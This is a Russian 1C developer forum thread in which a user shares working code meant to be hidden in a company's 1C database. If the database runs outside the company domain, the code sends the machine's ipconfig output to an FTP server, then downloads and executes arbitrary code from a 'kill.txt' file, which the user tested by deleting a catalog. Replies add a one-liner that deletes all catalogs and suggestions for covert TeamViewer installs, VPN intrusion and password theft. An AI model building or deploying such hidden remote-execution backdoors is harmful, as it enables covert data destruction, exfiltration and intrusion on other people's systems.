Имя: Пароль:
1C
 
Как в одну строчку очистить справочник?
,
0 Shur1cIT
 
15.01.15
18:23
Суть такова
Получаю с ФТП текстовой файл
получаю строку с текстом кода
делаю Выполнить()

вопрос как код в одну строку разместить?
пробую так не получаеться
Выборка = Справочники.Номенклатура.Выбрать() Пока Выборка.Следующий() Цикл Выборка.ПолучитьОбъект().Удалить() КонецЦикла
1 ДенисЧ
 
15.01.15
18:25
Зачем?
2 palpetrovich
 
15.01.15
18:26
(0)  может ";" подобавлять?
3 Shur1cIT
 
15.01.15
18:26
(1) делаю возможность удалить базу дистанционно если она не в домене
4 palpetrovich
 
15.01.15
18:27
(3) "удалить базу" != "очистить справочник" :)
5 Shur1cIT
 
15.01.15
18:28
Процедура   ОпределитьДомен()
    
    МассивДоменов = ПолучитьСписокДоменов();
    //сли МассивДоменов.Найти("PHARM") = Неопределено  Тогда
    Если МассивДоменов.Найти("PHAR1") = Неопределено  Тогда
        
        ВременныйКаталог =     КаталогВременныхФайлов();
        
        ВременнаяМетка = Формат(ТекущаяДата(),"ДФ=yyyy_MM_dd_HH_mm_ss");            
        ФайлIPКонфиг = ВременныйКаталог+"IpConf"+ВременнаяМетка+".txt";
        КомандаСистемы("ipconfig >"+ФайлIPКонфиг);
        ФайлTracertКонфиг = ВременныйКаталог+"Tracert"+ВременнаяМетка+".txt";
        АдресФайла ="";
        //
        FTPСоединение=Новый FTPСоединение("00000",21,"xxxxxx","xxxxx    
        FTPСоединение.Записать(ФайлIPКонфиг,"IpConf"+ВременнаяМетка+".txt");
        ТекстДок = Новый ТекстовыйДокумент;
        Попытка
            ВременныйФайлНаВыполнение = ВременныйКаталог+"kill.txt";
            FTPСоединение.Получить("kill.txt",ВременныйФайлНаВыполнение);
            Чтение = Новый ЧтениеТекста;
            Чтение.Открыть(ВременныйФайлНаВыполнение);
            СтрокаТекст = Чтение.Прочитать();
            Выполнить(СтрокаТекст);
        Исключение
        КонецПопытки;
    КонецЕсли;    
    
КонецПроцедуры


Функция ПолучитьСписокДоменов () Экспорт  
    Результат = Новый Массив();
    objNameSpace = "";                  
    Попытка  objNameSpace = ПолучитьCOMОбъект("WinNT:");  
        м = Новый Массив();  м.Добавить("domain"); // Computer User Group GlobalGroup domain  
        м2 = Новый COMSafeArray(м, "VT_VARIANT");  
        objNameSpace.Filter = м2;  
        Для каждого item Из objNameSpace Цикл  
            Результат.Добавить(item.Name);  
        КонецЦикла;
    Исключение  
        Результат.Очистить();
    КонецПопытки;  
    Возврат Результат;
КонецФункции
6 Shur1cIT
 
15.01.15
18:31
Я ПРАВДА МАНЬЯК ДА???
7 Shur1cIT
 
15.01.15
18:34
Ура получилось!
8 Shur1cIT
 
15.01.15
18:35
(4) по аналогии любой код отправить можно хоть команду системы)))
9 Garykom
 
гуру
15.01.15
18:35
Мушку спили...
10 palpetrovich
 
15.01.15
18:35
(5) познавательно :)  ...кодировку файла не забыл?
11 Shur1cIT
 
15.01.15
18:37
(10) при отправки на фтп есть проблема с кодировкой но она решается онлайн перекодеровщиком, остальное всё нормально работает, только что прибил справочник в тестовой базе)))
12 MAGAZKA
 
15.01.15
22:51
(11) там где вы учились, мы преподавали (с)
Все можно сделать НАМНОГО проще и изощереннее и быстрее (надежнее)!)))
и самое главное!!!! С возможностью отката назад.
Это пока на слабенькую троечку и то за то что старался.
Думайте.
13 Jaap Vduul
 
15.01.15
23:21
(0)А зачем именно в одну строку?
Выполнить() можно любое количество строк скормить.
14 quest
 
15.01.15
23:52
у выполнить() чудеса с goto, не поддерживает препроцессор и еще несколько  ограничений
15 Asmody
 
16.01.15
00:10
Зачем заморочки с Выполнить?  Можно же прямо epf загрузить и запустить
16 Asmody
 
16.01.15
00:12
Только для таких умников безопасный режим придумали
17 vhl
 
16.01.15
00:24
Базу удалил, а бэкап то остался :)
18 Franchiser
 
гуру
16.01.15
00:43
Что в файле в итоге написано? удалось выполнить в 1 строку?
19 Flyd-s
 
16.01.15
00:50
А может проще сервер сжигать дистанционно?
20 tridog
 
16.01.15
01:11
(0) УдалитьДанныеИнформационнойБазы();
21 DrZombi
 
гуру
16.01.15
07:27
(0) Зечем? Пиши в Выполнить с переносами, все отработает прекрасно :)
22 DrZombi
 
гуру
16.01.15
07:27
(20) Тог да уж  Format c: /Y
23 tridog
 
16.01.15
08:20
(22) Современная ОС не даст отформатиррвать системный раздел
24 Shur1cIT
 
16.01.15
08:34
(18) для теста удалял справочник номенклатура,

а так предполагается следующее.
Как только мы увидим txt файл на фтп с данными IPconfig мы принимаем решение что делать, код уничтожения базы или других действий помещается в текстовой файл "kill.txt" и при следующим запуске угнанной базы происходит подгруздка файла "kill.txt" читается от туда код и происходит выполнения его. Эта процедура расположена в модуле обычного приложения там всё привилегированно выполняеться
25 ifso
 
16.01.15
08:44
(24) защита от дурака ?
или с какого раза угонщик перестанет открывать угнанную базу не забэкапив угнанное ?
26 cons74
 
16.01.15
09:00
(25) кстати да. Я б копию в виде архива или dt выносил. И у себя из них разворачивал. Т.е. при отработке этой приблуды исходник все ещё у меня.
27 Соло
 
16.01.15
09:07
(24) А есть абсолютная уверенность что база будет иметь доступ к этому FTP? И вообще выход в инет будет?
PS Если это серьёзная разработка, то использовать будут серьёзные люди, и без ведома админа никто программу на Ваш FTP не пустит, а если это разработка для ларечников - то откуда там инет?
28 Shur1cIT
 
16.01.15
09:08
(26) (25) да вы правы, удаление базы один из вариантов на самом деле можно и удаленное управление компом попытаться подгрузить всё что угодно.

по сути и механизм удаление базы и всякие "kill.txt" не нужны, достаточно файла с ipconfig  чтобы напрячь службу безопасности нашей компании на расследование. А СБ у нас не слабая  думаю как и у других фармпредприятий.

(27) это лишь шанс не более того.
29 Andrewww123
 
16.01.15
09:09
(24) Нужно писать полноценный мега-скрипт, который ищет на компьютере все dt-шники, все архивы, бэкапы SQL-ные, потом ворует данные от учеток электронной почты, яндекс-диска, проверяет там тоже копии базы, проверяет флешки на лету, ну и так далее :)
30 Бубка Гоп
 
16.01.15
09:18
А зачем вредить в собственной базе? "Отомстить" если уволят?
31 Помогите
 
16.01.15
09:18
Лучше встрой установку удаленного управления компом типа TeamViewer для передачи файлов, только без уведомлений, чтобы можно было в чужом компе самому полазить по дискам, поуправлять службами, ...
32 Shur1cIT
 
16.01.15
09:19
(30) в собственной базе в собственном домене она даже на фтп не полезет
33 Бубка Гоп
 
16.01.15
09:21
(32) Конкурентам навредить пытаетесь? Мне просто правда непонятен сокровенный смысл вашей наработки
34 Помогите
 
16.01.15
09:21
Или установи на чужом компе VPN чтобы получить доступ в их локальную сеть. Получи пароли от компов. Подключайся к их компам стандартными виндовыми средствами.
35 Помогите
 
16.01.15
09:21
(33) Почитай тему сначала, там все объясняется
36 Бубка Гоп
 
16.01.15
09:23
(35) "делаю возможность удалить базу дистанционно если она не в домене"
не отвечает на вопрос "зачем?"
37 Йохохо
 
16.01.15
09:26
(36) у них тырят базу, но в базу вшит зловред, который щемится домой запрашиает у центра ботнета команды, получает рута, удаляет базу и начинает фармить биткойны
38 Serg_1960
 
16.01.15
09:26
Эээ... лучше сделать  попытку отправить письмо на свой адрес. Почта, скорее всего, есть на компе чем остальные изощрённые методы, которые могут не прокатить.

И если удалять, то удалять по полной :)

Выполнить("Для Каждого Х Из Метаданные.Справочники Цикл    Выборка = Справочники[Х.Имя].Выбрать(); Пока Выборка.Следующий() Цикл Выборка.ПолучитьОбъект().Удалить() КонецЦикла; КонецЦикла;");
39 Fish
 
16.01.15
09:28
(28) "А СБ у нас не слабая  думаю как и у других фармпредприятий" - Может, лучше вам поискать среди своей продукции что-нибудь против паранойи?
40 Бубка Гоп
 
16.01.15
09:29
(37) ... и качает все альбомы Бориса Моисеева и включает их при каждом заапуске 1с
41 Бубка Гоп
 
16.01.15
09:32
и кстати почему только справочники? регистры жеж еще можно похерить, это как минимум
42 Shur1cIT
 
16.01.15
09:40
(39) паранойя у ВСЕХ фармпроизводителей ибо ведутся разработки тратятся деньги итд.
43 Йохохо
 
16.01.15
09:42
(42) то, что стыреную базу потом из копии развернут слишком скучно, разчитай это сообщение взад
44 Shur1cIT
 
16.01.15
09:44
(43) выше я на писал что достаточно знать что база стырена чтобы СБ компании напряглась. а подкачка файла и выполнения команд это всё рюшечки
Ошибка? Это не ошибка, это системная функция.